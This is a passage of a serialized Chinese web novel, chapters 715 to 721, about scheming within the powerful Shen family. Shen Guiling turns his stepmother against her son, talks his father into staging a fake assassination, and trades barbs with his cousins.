空气里弥漫着昂贵又堕落的香氛。 “夫人要见我?” 沈归灵就站在这片流动的光瀑中心,无视满地狼藉,面带微笑。 姚歌眯了眯眼,弹指间,灰白的烟蒂像崩塌的碎屑一点点剥落。 她真是越来越看不懂沈归灵了。 毫无疑问,他真的很聪明,聪明到不仅能从她手里脱逃甚至还能反噬她。 但最让她觉得忌惮的还不是沈归灵的聪明,而是他的心性。 面对从小就折辱他的杀母仇人,他不但失去冷静甚至还能心平气对着她笑,这不是一般人能做到的,起码她就做不到。 因为每每看见沈归灵这张脸,她就恨不能亲手撕碎。 “夫人怎么不说话?还是说,是我误会了夫人的意思,夫人原本想见的是父亲?” 沈归灵有些悲悯摇了摇头,“可惜,父亲似乎不太愿意见您,您,让他感到十分恶心。” 虽然明知沈归这话是挑衅,但姚歌没忍住被激怒了,从沙发上直接跳了起来,“你这个野种,竟然敢这么跟我说话?!没有我,你什么都不是。” “不要被他激怒了。”这时,被头发遮挡的耳返里传来一声极低的阴郁声。 姚歌像是被突然叫停的傀儡,狰狞的表情被强行缓和下来。 她低着头,沉默片刻又坐了回去。 “沈归灵,一年期限已经到了。你当初说过,有办法让阿年回来,现在该是你兑现承诺的时候了?” 她忽然像是换了一个人,冷静得不像话。 沈归灵盯着姚歌打量了片刻,缓缓道,“原来夫人请我来就是为了这个?” 姚歌迎上他的目光,神情高傲,“你当初用阿年的秘密要挟我为你保守秘密,如今老爷子对你宠爱有加,连沈谦都对你刮目相看,你还有什么不满足?难不成,你还真想坐上沈谦的位置?” 沈归灵总觉得姚歌有些古怪,不动声色,再次激怒她,“夫人都说了,父亲对我刮目相看,如果不是我要坐,而是父亲非要逼我坐呢?” “放屁!沈归灵,你当真以为我收拾不了你!” 姚歌再次暴动,拿着手里的烟对着沈归灵砸了过去,“沈谦凭什么?凭什么?!南湾半壁江山都是我姚歌替他拿下来的!忘恩负义的狗男人!负心汉!” 她咆哮到一半又生生中断。 但这次明显情绪收不回来,脸上的肌肉不断在抽搐。 沈归灵已经察觉到了什么,看向姚歌的眼神越发怜悯。 而他越是用这样的眼神看姚歌,姚歌就越是控制不住,她曾经将沈归灵踩在脚下羞辱,如今怎么能忍受被沈归灵怜悯? “野种!野种!我要告诉沈谦,你就是个野种。” 沈归灵,“好啊,夫人顺便再告诉沈谦,他的亲儿子是被你活活掐死的。” 姚歌顿时瞳孔微缩,癫狂的神情又缓和了下来。 “夫人不敢?夫人对父亲还有期待?” 这话让姚歌自以为牢不可破的心墙瞬间轰塌,她没有回应,因为她不敢认,因为她也觉得可耻,被辜负被驱逐却还对厌恶自己的人念念不忘,下贱至极。 “不要被他激怒,按我说的做。”就在姚歌的信念要崩塌时,耳麦里的声音又把她拉了回来。 她安静坐回沙发,闭眼缓和了神色,轻声道,“沈归灵,你不在意沈谦,不在意沈庄,不在意沈家任何一个人,那姜花衫呢?你也不在意吗?” 沈归灵眼里的潋滟春水瞬间冻结,一双瑞凤眼微微上挑。 姚歌察觉出了他的异样,捂着嘴大笑了起来,“哈哈哈哈,沈归灵,原来你也有弱点?我还以为舒沐死了之后你就没有破绽了,哈哈哈哈哈。” 她忽然像是发现了什么有趣的事,起身走到沈归灵面前,双手抱胸围着他上下打量,“你们两个,一个野种一个贱货倒是般配。” “可是……你说,如果姜花衫知道你曾经连狗都不如,她还看不看得上你?” 沈归灵神色不明,转头看向姚歌。 姚歌十分猖狂挑了挑眉,“你别用这种眼神看我,阿灵,你忘了?你小时候可乖了,我让你学狗叫你就学狗叫,真是怀念了,我还有当时的录像呢,你要不要看?或者你觉得姜花衫会不会想看?” 沈归灵沉默片刻,缓缓开口,“夫人想让沈年回来?” 姚歌一副胜利者的姿态,“你现在有办法了?” 沈归灵脸色平静,眼神却又沉又冷,“我有办法,但就看夫人愿不愿意了。” 姚歌忽然有种说不出的怪异,略有警惕,“说来听听。” 沈归灵,“爷爷做出的决定从不轻易改变,除非迫不得已。太奶奶下葬那日,沈年不出席倒也不见怪,但若是夫人死了,沈年是您唯一的儿子,老爷子还能拦着他回来送您最后一程吗?” “沈!归!灵!” 姚歌顿然大怒,举手想打沈归灵,沈归灵侧身,顺势用脚拦住姚歌的脚踝,姚歌不防扑通一声狠狠摔倒在地。 “啊!!!” 地上到处都是打碎的瓷砖,姚歌掌心被瓷器划伤。 沈归灵蹲下身,刻意靠近她的耳侧,幽幽道,“老爷子不好忽悠,你是想回来还是想你母亲死一遭,你自己选,沈年……” …… 不知不觉已经写了一年了,你们也陪我一年了,没什么好说了,唯有加更聊表心意~常怀感恩之心,感恩遇见,也感谢你们接下来的陪伴~ 第716章 命中自己的回旋镖 “年”字的尾音尚未完全消散,姚歌脸上的愤怒、疼痛、扭曲瞬间凝固。 她猛地抬头,对上沈归灵那双毫无温度、如同深渊般的眸子,那里面没有愤怒,只有一种令人窒息的平静和掌控一切的冷漠。 姚歌忽然意识到什么,嘴角颤抖,“不!不!!!!” 沈归灵是故意的,他知道她背后有人,他刚刚那番诛心之言是为了离间他们! 魔鬼!简直就是魔鬼。 沈归灵起身,眼底噙着毫无温度的笑意,“主意我给你了,用不用就是你们的事了。” 他转过身,走到门厅时又停了下来,语气依旧平静,“哦,对了。既然已经猜到我的软肋是什么,就好好捏着,要敢把不干净的东西送到姜花衫面前,你们……试试?” 姚歌瞳孔微缩,侧脸贴着地面,混乱的视线下她感觉眼前闪过一道刺眼的光,沈归灵就彻底消失在眼前。 “阿年……” 姚歌的声音带着几分急切,但因为极度的恐惧又显得怪诞。什么录像威胁,什么胜利者的姿态,全都灰飞烟灭,现在她脑子里就只剩下一个念头…… 不能让沈归灵得逞!不能! 她举着满是血渍的手轻轻敲了敲耳侧,“你……你不要相信他,他……” “母亲。”耳返那边的声音平静又带着几分亲昵,“他说对啊~如果是你死了,爷爷就没有阻止我回来的理由了?我怎么没有想到?” “……”姚歌因恐惧颤动的眼眸瞬间凝固,身体如筛糠般剧烈哆嗦。 耳畔的声音熟悉又陌生。 “您不是总是说,这所有的一切都是为了我吗?如果真是这样,可以为了我去死,您应该也会感到开心吧?” “阿年!!!”姚歌摇头,不顾一切地嘶喊起来,“沈归灵是故意的,他想离间我们!他想报复我们,他想让你杀了我!!!” 这声音尖锐得几乎要刺破空气。 电话那边却只沉默了一秒,与她的歇斯底里相比,沈年的声音带几分不以为然。 “可是……这个的确是个好办法啊。” “阿年……” “您不愿意?”沈年的声音冷了下来,“您为什么不愿意,难道你也不想我回来?” “不是的阿年,不是的!”姚歌不停地摇头。 “您不是教过我吗?不论什么方法,只要能达到目的就可以了,我小时候可是很听您的话的,您让我从二楼跳下去我就跳,怎么到自己身上就不行了。”他的语气渐渐带着阴冷。 “是你告诉我的,凡事只看结果。所以,我也只看结果。” 话落,电话那头变成了忙音。 “阿年?阿年??!!” 姚歌神色错愣,用力拍打耳侧,她的声音充满了绝望的哭腔,泪水混合着掌心的血污糊了满脸,精心维持的贵妇形象荡然无存,只剩下一个被恐惧彻底击垮的女人。 * 出了姚公馆。 沈归灵的肩上披上了一层温柔的月光。 前庭的车道边,莫然已经从车上走了下来,主动拉开后座车门,沈归灵在原地停驻了片刻才低头了车。 “少爷,回沈园吗?”莫然透过后视镜,小心翼翼观察沈归灵的脸色。 “嗯。” 沈归灵应了一声,车辆缓缓启动。 车窗紧闭,却挡不住那清冷的光辉。一轮近乎圆满的明月,高悬于墨蓝天鹅绒般的夜幕之上,它并非静止地悬在那里,而是随着车辆的移动如影随形。 沈归灵心念一动,垂眸思忖了片刻,抬头看向莫然,“先不回沈园,去平湖别墅。” 平湖别墅是沈谦现在居住的地方。 莫然心知这点沈归灵选择这个点去找沈谦,必然是有大动作,应下后立马调转方向前往平湖。 沈归灵转头,目光温柔看着玻璃车窗的月影。 原本他不想这么早放沈年回来,因为他很清楚,沈年如果回来,第一个要对付沈年的一定是姜花衫。但沈年并非省油的灯,他的背后还有一个巨大的利益集团支撑,若没有万全之策他不想冒险。 但这母女俩竟然用姜花衫要挟他,这就另当别论了。 以他对沈年的了解,姚歌的结果已经注定了。当初这女人留他一条命,就是为了让舒沐死于被亲生孩子背叛的绝望中,如今他把这滋味还给她,远比杀了她更让她痛苦一万倍。 至于沈年…… 博弈才刚刚开始,没有万全之策,那就想办法弄个万全之策。 * 早在过来的路上,莫然就已经事先给别墅这边打了电话,到了平湖别墅,沈谦的助理已经在前庭久候多时。 “阿灵少爷,这边请。” 助理直接把沈归灵带去了沈谦的书房,敲开房门后,做了个请的动作。这几年沈归灵越发得沈谦的心,底下的人看得清清楚楚,对他的态度也越发恭敬起来。 “阿灵来了?” 在襄英半个月,国会的压下的议案已经堆积如山,沈谦正在加班,见沈归灵进屋,立马站起身,指着小厅的沙发,“坐。” 沈归灵点头。 沈谦看出他脸色不好,故作关切,“怎么了?那女人为难你了?” “一点小事而已,不算为难,不过……”沈归灵战术性停顿,欲言又止。 沈谦皱眉,“不过什么,你什么时候也变得吞吞吐吐的了?” 沈归灵迟疑片刻,缓缓道,“阿姨的情绪很不稳定,一直在咒骂父亲,她希望父亲给她一个正面回复,什么时候能把阿年哥接回来?” 沈谦脸色顿然阴沉下来,他早就料到疯女人会没完没了才不想去姚公馆。 沈归灵故作不知,继续说道,“阿姨说,如果这个月您不能守信把阿年哥借回来,她就召开记者发布会,将过去二十年她为你笼络南湾的黑幕都爆出去。” 沈谦的吐息明显粗了几分,“她真这么说?” 沈归灵,“我看阿姨的状态很不好,好像癔症更严重了,万一她真做出这种事,只怕……” 沈谦眼底闪过一抹杀意,不动声色看向沈归灵,“阿灵,这事你怎么看?你这么晚来找我,应该是有主意了吧?” 沈归灵点头,目光平和,“爸,我觉得是时候把阿年哥接回来了。” …… 第717章 随手布下生死局 沈归灵这句回答完全出乎沈谦的意料。 沈谦愣了愣,抬眸打量沈归灵,“阿灵,你知不知道你在说什么?” 他原以为话说到这个份上了,沈归灵会趁机策动他杀了姚歌,就算是这样,他也觉得无可厚非,因为,姚歌现在的挑衅已经远远超出了他的容忍限度。 但沈归灵竟然让他把沈年接回来。 这孩子到底知不知道,一旦沈年回来,他私生子的身份又会再度被人提起,沈年再不济背后也有姚家做靠山,而他除了用命拼出来的二等功勋什么都没有。 沈归灵迎上沈谦的目光,“我知道。但是,爸爸,阿年哥回来对您的助力才是最大的。” 沈谦心底狠狠被撞了一下。 又是为了他? 沈归灵,“眼下余家明显是被针对了,总统大选在即,难道父亲您就不想再往高处一步?” 沈谦的眼睫几不可查地颤动了一下,瞳孔深处的墨色沉入一片深不见底的幽光。 他怎么没想过? 他做梦都想。 沈玺当初年纪轻轻就坐上军委总司令的位置,他不比沈玺差,凭什么不能做总统? 沈归灵极其敏锐捕捉到了沈谦眼神的变化,“爸,A国当局已经完全失去了公信力,眼下就是最好的时机,你的资历摆在那,并非没有一争的可能。但如果这个时候,阿姨出现什么以为,你的声誉必然会收到牵连。” 还真是为了他,沈谦心里五味杂陈,“按你这么说,我就该任由她威胁?” 沈归灵摇头,“当然不是,等大局已定,再处置也不急。” 沈谦若有所思,这么做倒也合乎人性。 若是沈归灵真天真到连杀母之仇都能彻底放下,他不禁又要怀疑沈归灵是不是有更大的图谋了。 “但姚歌的条件是让沈年回来,你真的能做到毫无芥蒂吗?” 沈归灵有些犹豫,“我的确会害怕,爸爸现在对我很信任,万一阿年哥回来这份以后不在了怎么办?” 沈谦,“是啊,这世间就没有能一碗水端平的手,要真是这样,你岂不是会后悔。” “我不会。”沈归灵看向沈谦的眼里多了几分锐气,“如果真是这样,那就是我做的不够好,输了也认栽。况且,阿年哥与姚家绑定,他若是回来,姚家定然会在总统大选上不遗余力助您。” 若是沈归灵没有一点比斗之心,他看不上,但若是沈归灵为了自己阻拦沈年回国他也看不上。 说到这,沈谦已经满意得不能再满意了。 但现在最头疼的问题出现了。 沈谦轻叹了一声,摇了摇头,“你的心意爸爸知道了,但把阿年赶出A国的是老爷子,没有他的允许,想让阿年回来,根本不可能。” “如果说,我有办法呢?” “你有办法?”沈谦一脸诧异,瞪着眼打量他,“什么办法?” 沈归灵嘴角牵起抹若有似无的笑意,他是一个耐心绝佳的猎人,铺垫了这么久,接下来才是他真正想说的话。 “爷爷并非真正绝情之人,看他对武太奶和老宅那些族人就知道了。阿年哥已经被驱逐了十年,以爷爷的度量什么气都改消了,至今没有召回必然是还有什么隐情,所以,我们不能再寄希望于爷爷心软了。” 这话说的有理有据,沈嫌深以为然,点头,“有理。” 沈归灵继续说道,“既然有隔阂就一定要处理,你说,这世间还有什么隔阂能超越生死了?” 沈谦怔愣,眸光一闪,“你是说,让阿年用苦肉计?” “不是苦肉计,是您为阿年哥设下一个以假乱真的死局,若是阿年哥命悬一线,您能说这个节骨眼,老爷子还能阻止阿年哥回国养伤吗?” 沈谦若有所思,片刻后眼里透出几分欣喜,“这的确是个好主意。” 如果沈年回来,最大的获益者毫无疑问就是他,他不仅可以得到姚家的助力,还能暂时堵上那个疯女人的嘴。 沈谦站起身,有些跃跃欲试,“就这么办,我立马安排人,顺便再告诉阿年这个好消息,免得他不消停又给我惹出什么祸。” “爸。”沈归灵跟着起身,“不能告诉阿年哥。” “啊?”沈谦不解,“这又是为什么?” 沈归灵,“爷爷也不好糊弄,这件事越少人知道越保险,以阿年哥的性子,未必能体会父亲的苦心,万一他临时反水,爸爸您可就里外不是人了。” 沈谦这才缓过神,一副完全信任沈归灵的模样,“你说的!那你说该怎么办?” 沈归灵眉眼温和,面带微笑,“既然要以假乱真,派出去的杀手自然是要真杀,只留一线不绝即可。但未免计划出现偏差,我还是亲自去一趟比较好。父亲放心,有我看着,阿年哥一定会没事的。” * 从别墅出来已经是凌晨一点,下弦月东挂夜幕。 莫然瞧着主庭的灯一路迭开,立马从车上下来,刚拉开车门就看见沈谦亲自把沈归灵送了出来。 “这么晚了,怎么还要回去?都说了让你住这,怎么说不听?” 莫然低着头,听着沈谦这父爱泛滥的语调不觉起了一身鸡皮疙瘩。 老板神人啊,才进去一个小时候,感觉世子之位都坐稳了,她跟随沈谦这么多年了,还是第一次看见他如此和蔼。 沈归灵神色温和,“今天是第一天回沈园,按照爷爷习惯,明天小辈们必然是要小考的,如果我不在,机会就错过了。” 沈谦,“你爷爷如今对你也没什么好挑剔的,你也别总小心翼翼的,累着自己了。” 沈归灵点头,正要转身,忽然想到什么,神色严肃了几分,“爸,我出去那几天,菊园那边……” 都这个时候,还想着他布置的任务。 沈谦摆摆手,“你放心,有我在,他俩成不了。” …… 宝宝们,新裙已开,点我主页,哪个没满点哪个~ 第718章 敌人的敌人就是盟友 第二天清晨,小堂会。 沈兰晞、沈归灵,沈清予依次端坐在花厅的茶桌前,沈庄一边摆弄案前的新盏,一边抬眸打量三人,眼里全是满意之色。 “嗯,一年不见,看着都稳重不少。” 沈清予从M国回来直接去了鲸鱼岛帮助三房寻找沈眠枝,沈归灵调度南湾舰队击杀绑匪有功,至于沈兰晞,虽然他没有参与鲸鱼岛事件,但老宅那部分的事他处理得很漂亮,几乎没有让沈庄操过心。 二代良莠不齐,三代却是各有千秋,眼前这番欣欣向荣的景象正是沈庄所期待的。 老人笑呵呵起身,亲手给三人斟茶。 三人愣了愣,颇有些受宠若惊,纷纷起身端茶。 “坐。”沈庄摆摆手,“这里没有外人,不用讲究这些。” 三人这才又坐了回去。 沈庄依次看了过去,目光和蔼落在沈清予身上,“清予,您两个哥哥都要升学了,你明年又打算读哪个学校啊?” “噗!” 沈清予喝到嘴里的茶立马吐了出来,沈归灵和沈兰晞早有预判,一个端茶,一个侧身完美避开。 “咳咳咳。” 沈清予擦了擦嘴,看了两人一眼,皱眉,“爷爷,一年没见了,您就不能说我点好的?” 沈庄,“你那些事我不惜地管,就一点,别真跟个混子一样哪哪都看不上,虽说人有才能不需要一张纸镀金,但你一年换八个学校,如此沉不住气,性子还是不够稳妥。” 沈清予放下茶盏,“您放心,这事我心里有数。” 有些话点到为止即可,沈庄点了点头,转头看向沈归灵。 沈归灵立马摆正神色,作出一副聆听的样子。 沈庄想了想,眼里的笑意深了几分,“阿灵这性子我倒是挑不出什么毛病。” 前几年行事还有几分激进,但这一年变化很大。 连南湾几个上将都对他赞不绝口,看这情形,沈家未来还真有可能再出一个七星上将。 A国历史上,南湾上将曾有一人走到了次帅的位置,沈归灵能文能武,比之当年那位年轻时候不逊分毫,也算是鲸港新一代里面的最强黑马了。 沈清予不服,语气欠欠,“别啊,阿灵哥这么谦虚的人,爷爷您好歹说两句。” 沈庄一脸和蔼,“那就……继续保持。” 沈清予,“……” 沈归灵作出一副十分受教的模样,“谢爷爷。” 沈兰晞端盏的指尖轻轻摩挲,神情淡淡看着茶盏里的茶水。 “兰晞。”沈庄抬眸看向沈兰晞,“那几位老将军都已经给我写了信,他们对你期望颇高,你可不能辜负了。” 沈兰晞放下茶盏,“我知道,爷爷放心。” 沈庄点头,换了个语气,“还有一件事爷爷想同你商量一下,家族之本,靠的是代代相传,虽然时代不一样的,但有些规矩存在必然有存在的道理,爷爷打算给你选个媳妇,你有没有心仪的人选啊?” “噗!!”沈清予刚给自己倒了一口热茶,一时不防,又呛了出去。 沈庄皱眉,一脸嫌弃,“怎么?去一趟M国连茶都不会喝了?” “咳咳咳……”沈清予捂着肚子,想笑不敢笑,“我这是嫉妒,您怎么有什么好事都想着沈兰晞,我和沈归灵就不是您亲孙子了?” 沈兰晞脸色难看至极,“爷爷,我……没有喜欢的人。” 他的语气太过生硬,比之以前的冷漠完全不是一回事。 沈庄愣了愣,琢磨着是不是自己说的太突然了?年轻人都不喜欢被人掌控,何况还是婚姻大事。 他缓和了脸色,耐心解释,“爷爷也不是说立马就逼着你订婚,只不过是提醒你……这事你也可以想想了。你父亲不到二十岁就娶了你的母亲,二十二岁就有了你,虽说年代的确是不同了,但……出于私心,爷爷也希望你能早日成家。” “小家稳定,你才能知道什么是责任和当担,护小家护一族再到如你父亲那般,为一国。” 这就是身为继承人的代价,得到的是光环和权利,舍弃的是自我和选择,当初,沈庄也是脱了一身傲骨才入了名利场。 见沈兰晞不接话,沈清予挑了挑眉,故意找事,“爷爷说的对,这做人啊,不能什么都想要。你身为家族继承人,该长点心,早点为家庭开枝散叶才是正事,爷爷还等着抱小重孙了,是不是啊,阿灵哥?” 沈归灵笑了笑,他做人向来是什么都要,不过,气气沈兰晞倒也可以。 他开口说道:“兰晞哥平时都不怎么跟大家交流,或许是一下时不适应。其实遇见家世好性格好的不妨先定亲,相处久了自然就有感情了。” 沈清予原本以为沈归灵就是随口附和,没想到直接劝老爷子原地定亲,果然杀人不见血。 不过沈兰晞要定亲了,以后就不能打小花儿的主意了,这倒是个围魏救赵的好算计。 沈清予一反常态,举手赞成,“爷爷,阿灵哥说的没错,我看苏家蓝家都不错……” “叽——!” 忽然,花厅里响起一声尖锐的啸音。 沈兰晞缓缓起身,面无表情扫了两人一眼,才转头看向沈庄,“爷爷,父亲是父亲,我是我,我未必要走父亲走的路。我有想娶的人,等什么时候她愿意了,我再来告诉您。” 说完,也不管现场是什么反应,转身出了花厅。 沈庄看着沈兰晞的背影,怔愣了片刻,转头看向眼前两人,“有喜欢的人?兰晞这是什么意思?” “嗤!”沈清予冷笑,“还能是什么意思,就是他喜欢别人,别人没看上他呗~” 他最看不惯的就是沈兰晞这副高高在上的样子,明明是他自己有妄念得不到,说得好像为了小花儿做出了多大的牺牲似的。 沈庄嘶了一声,略有些诧异,“谁家姑娘,竟然连兰晞都看不上?” 在老爷子心中,沈兰晞除了性子冷还真挑不出毛病。 沈归灵站起身,弯腰拎起茶壶主动给沈庄倒茶,“爷爷,兰晞哥这么优秀,怎么会有人不喜欢呢?他这么说,无非就是不想成家,或者说,可以不用光明正大和别的女生接触。” 茶满七分,沈归灵提壶转身又亲自给沈清予倒了一杯,眼神隐晦,“是不是啊,清予?” 目标一致,敌人的敌人就是盟友。 “……”沈清予沉默片刻,端起茶杯,阴恻恻看向沈庄,“爷爷,阿灵哥分析的道理!托词!他这绝对是托词! ” 沈庄眼底顿时掠过一亮逆光,比起沈兰晞的真话,在老爷子眼里,显然沈归灵的谎言更具有说服力。 但刚刚沈兰晞的态度太过反常,以他对沈兰晞的了解,能让他如此反常一定有问题。 沈归灵看出了沈庄的迟疑,抬手扶正沈兰晞的椅子,笑着道,“爷爷要是不信,不妨再去问问兰晞哥是谁家的女儿?如果他能说出名字,那就说明他没有说谎,咱们再一起替兰晞哥想办法。” 沈清予一口饮尽茶盏,顺口接话,“如果他说不出,他就是骗您,爷爷,您就要小心了,不喜欢女的就是喜欢男的,你当心三叔那么好的苗子就此绝后。” 两人都很清楚,以现在的局面,沈兰晞绝对不敢说出姜花衫的名字。 喜欢男人??? “啪叽——” 沈庄指尖僵顿,茶盏从掌心脱落翻倒在茶台…… …… 第719章 出局之局 沈兰晞从沁园出来后并没有直接回后院,而是转去了庭院中间的香榭凉亭。 正值夏日,池里的荷花开得正好,锦鲤摆动撞落叶间的露珠,露珠掉落又牵动池面的涟漪,如此反复不断循环。 沈兰晞伫立在凉亭边,面无表情看着眼前这一幕。 “少爷!!!” 高止一路追上凉亭,左右看了看,确认没人之后,摘下眼镜狠狠重击石桌! “你猜得果然没错,沈归灵真是一肚子的坏水,您一走,他就伙同沈清予在老爷子面前重伤您。他们说您……” 高止顿了顿,捂着嘴巴在沈兰晞耳边悄咪咪说道,“喜、欢、男、人!” 沈兰晞神情淡淡,“还说什么?” 这都不生气?高止一脸败兴,重新戴上墨镜,“其他的也没说什么了?哦,沈归灵说是沈谦那边有重要事情交代他办,他要离开鲸港几天。少爷,这可是千载难逢的好机会啊!” 沈兰晞终于有了一点反应,“他要出去?” 难怪沈归灵恨不得劝得爷爷立马给他订婚,原来他也知道自己的地位不稳。 高止,“是啊,少爷,您说沈归灵是不是很奇怪啊?他明明和沈谦不是一条心,不然当初也不会和我们合谋对付沈谦,但他现在又为沈谦做事,这不是自相矛盾吗?” 沈兰晞,“他未必是帮沈谦做事。” “难不成是骗老爷子?” 高止摸了摸下巴,故意看了沈兰晞一眼,“也不对啊,要真是说谎,沈谦只要一开口就会被揭穿,沈归灵可除了少爷以外沈园里最聪明的人,应该不至于做这种蠢事。” 沈兰晞完全没听见这么有心机的马屁,盯着池塘里的圈纹陷入了自己的思绪里。 沈执和沈亦杰相继死在他手里,这一点太过巧合,即便爷爷事后已经给出了解释,但他还是觉得事情过于蹊跷。 尤其是白密,他突然造访沈家这件事一直到现在都没有一个合理的说法。 直觉告诉他,沈归灵一定有问题,但应该不是家族内奸,因为如果他敢对沈家不利,姜花衫一定不会选择他。 一想到这,沈兰晞的心又开始隐隐作痛。 但好在他及时发现,这一切还有弥补的可能。 如果他猜得没有错,未来一定会发生一件事,这件事就是他和姜花衫订婚的契机,在这个契机来临之前,他必须要沉住气,用尽一切办法挽回姜花衫的心。 因为如果姜花衫不想再和他有纠缠,一定会想尽办法避开那个契机,而他,绝不能让她这么做。 沉默片刻,沈兰晞眼底闪过一抹逆光,终于下定决心,转身看向高止,“你暗中跟着沈归灵,看看他去做什么?” “?”高止愣了愣,“您认真的?” 沈兰晞,“他从不做毫无意义的事,这件事既然要他亲自去办,就一定不容许出错。我不相信他没有问题,你这次一定要跟仔细。” 高止想了想,不情愿点了点头,“行叭,不过少爷,我外出这几天您千万不要放松警惕,你陆陆续续离开一年,姜小姐估计连您长什么样子都快忘了,趁着沈归灵不在,你记得多去刷刷存在感。” 沈兰晞不悦,“我要见就见,还用挑他不在的时候?” 又嘴硬。 高止假笑,“少爷说的是。那我先去准备准备。” 说完转身翻了个白眼,忽然想到什么,立马又转了回来,戳戳手,一脸殷勤,“少爷,出远门是不是算出差啊?我看人家出差都有什么差旅费、关怀费……” 沈兰晞,“你只要没被沈归灵发现,我给你一百万。” “嗯!!”高止深呼吸了三秒,摘下墨镜,一秒进入专业杀手模式,“客人,请说出你所有的条件。” 沈兰晞闭了闭眼,“查出沈归灵此行目的,翻倍!要是摸到他的底细,我给了一张空白支票,数字你自己填。” 好家伙,少爷这次是来真的了! 高止神色微变,不免摆正了态度,“要是沈归灵就是出去溜达一圈,啥也没做呢?” 沈兰晞,“扣你一年的工资。” “……”高止猝不及防,再确认沈兰晞不是开玩笑后,立马双手合十对天祈祷,“沈归灵,杀人放火都可以,千万不要出门只放屁啊,财神爷。” 沈兰晞懒得听他废话,背过身看着脚下的池面。 锦鲤只要被水面惊扰就会撞向荷叶,荷叶受到冲击露珠顺势而下掉进池塘,水面就永远平静不了。 所以,要想打破局面,荷叶、露珠、锦鲤必须有一样要先出局。 只要沈归灵没有问题,他做什么都对他造成不了威胁,相反,只要他有半点弄虚作假,这一局他必输无疑。 …… 第720章 让无力者有力,让有力者前行 花厅那边,沈归灵得了沈庄的同意,立马起身告辞,因为要出远门,沈庄又细细叮嘱了几句,沈归灵一一应下后才出了花厅。 恰巧这时,郑松从园外走了进来。 “老爷子,关先生拜访。” “关楼?”沈庄似早有预料,神色淡淡,“就他一个人?” “还有关少爷。今天苏小姐赶巧来家里找衫衫小姐,两人在主厅遇上吵了起来。” 沈庄,“吵什么?” “关少爷一直拿苏少爷缺席试飞训练的事说笑,苏小姐气不过,嘲讽……关少爷不孝,逼六十岁老父传宗接代……” “……”沈庄愣了愣,“苏家那丫头怎么知道的?” 郑松老实巴交,“应该是衫衫小姐说的。” “……”沈庄嘶了一声,小花儿又是怎么知道的?后来一想,心里有数了。 眠枝丫头。 一想到那三个小丫头,沈庄摇了摇头,放下茶盏,“请他们过来说话。” 郑松立马退出了花厅。 沈清予还惦记给姜花衫送宝石,也跟着起身,“既然您有客人,那我也就走了。” 沈庄不满敲了敲桌面,“急什么?” 沈清予兴致缺缺,“我对关家人没有兴趣,懒得看关鹤的嘴脸。” 沈庄瞪了他一眼。 “爷爷,我真没空,我过几天也要走了,这不已经优先来见您了,其他的时间您不能再占用了。”沈清予解释完,站起身就要走。 沈庄没好气,“就说两句。贪多嚼不动,韩家的文娱资源你吃了,剩下的就别动了。” 沈清予原本还有些漫不经心,听了这话,脸色瞬间凝固,略有些诧异看向沈庄,“您怎么知道是我?” 沈庄笑了笑,给自己倒来一杯茶,“你父亲和小姑姑都看上了那块蛋糕,你知道爷爷为什么偏偏让你去吃吗?” 沈清予摇头,他说怎么这么顺利,原来是老爷子让路。 沈庄缓缓抬眸,隔着茶汤缭绕的雾气沉声道:“因为他们都是商人,但公众的知情权不应该捆绑在商人的镜头之下。清予,你一定要记住,护一国安虞并非只能从政从军,记录时代,忠于人心。让无力者有力,让有力者前行,一样可以!” “这才是爷爷为你选的路,你生性正直善良,这也是最适合你的路。” 沈清予掀眸,肆意散漫的丹凤眼像被骤然收紧的弓弦,瞳仁里的光一点点沉了下去。 他一直以为爷爷最认可的是沈兰晞,直到眼前这一刻,才知道自己有多愚昧。 沈庄摆摆手,“回去吧。” 沈清予垂眸,对着沈庄深鞠一躬转身出了花厅。 * 刚跨出沁园门槛,沈清予就和关家父子撞了个正着。 关鹤原本还因为苏妙的事愤愤不平,转头看见沈清予,皮又开始痒了。 “哟!这不是清予学弟吗?” 关楼气得额角直跳,真是一不留神,这小子就飞出去闯祸。 亏他以前还事事替这祖宗出头,现在看来,这狗厌人憎的性子真没有一顿毒打是白挨的。 沈清予双手插兜,吊梢的眼角打量关鹤,“哦,我当是谁呢?原来是临终托种的关大笑子啊?那些绑匪下手也太狠了吧?人都打成窝瓜了,我刚刚一时还没认出来。” “……”关楼闭了闭眼。 沈家这臭小子嘴巴怎么也这么毒? 关楼冷笑了一声,“沈清予你跟老子等着!” 沈清予一身反骨,“行,爷爷等你。” “……行了,先进去。”关楼冷脸打断,再让这两人吵下去,辈分全乱了。 关鹤不情不愿,转入阆苑时还骂骂咧咧,“要不是在沈园,老子今天非把那孙子打得满地找牙。” 关楼实在没忍住,对他的屁股踹了一脚,“你给我闭嘴,忘记来之前我怎么叮嘱你的了?” 关鹤虽然混账,但也并非不知轻重,揉了揉屁股,“放心,等进了里面,我一个屁都不会放。” 余家如今的处境,沈家不可能看不出是有人布局。 总统大选在即,这次关楼也在候选名单中,其余势力,关家都已经谈拢了,现在只剩沈家一个未知因素,若是沈谦对总统之位也有心思,只怕这次的竞选会是场硬战。 所以这次上门,关楼就是想借着道谢之名试试沈庄的态度。 * 另一边。 沈清予站在中庭廊庑一时没了方向。 他原本是想去菊园找姜花衫的,但郑松说苏妙来了,他这会儿过去必然讨人嫌,既然菊园暂时去不了,他去哪打发时间呢? 沈清予的目光在竹园和兰园之间徘徊了片刻,点兵点将,指尖一转有了主意。 沈归灵正在院里给山茶树施肥,一年的光景,那棵从淮城取回来的小树苗已经长大了一倍不止。 院门被人从外面推开,沈清予不请自来。 莫然听见动静,立马从主厅走了出来,见是沈清予,笑着点了点头,“少爷,我去备茶。” 沈归灵放下洒水壶,侧头看向沈清予,“有事?” 他们三人的关系没人能看懂,说不好,相互坑人的时候默契十足。说好,一年到头正常沟通加起来不超过十句。 沈清予摆摆手,双手靠背一副大爷模样到处游荡,“啧,还以为你当初是为了接近爷爷的养花,没想到还真成了气候。” 沈归灵见他没事找事,也懒得搭理,拿了把剪刀开始修剪盲枝。 沈清予走到小树前,“这又是什么玩意?” “山茶树。” “树?”沈清予兴致缺缺,转头看向兰园的方向,眼神突然变得犀利,“你以前可从来不跟他争,今天是怎么了?” 沈归灵,“你知道我在争,你还帮我?” 沈清予嗤笑了一声,“你没这么大的脸。” “少爷。”雷行从二楼下来,“行李已经准备好了。” 沈归灵点头。 雷行看了沈清予一眼,默默进了主厅。 沈清予,“挺厉害的,雷行这傻子都被你收服了。” 沈归灵语气寻常,“他虽然傻,但胜在忠心,不像有些人,看着憨实,却是两副面孔。” 沈清予神情微动,淡淡道,“你出去是替沈谦办事?” 见沈归灵不接话,他又说道,“我其实一直在猜,你会选在什么时候对沈谦动手?” …… 第721章 离别在即 “啦擦——” 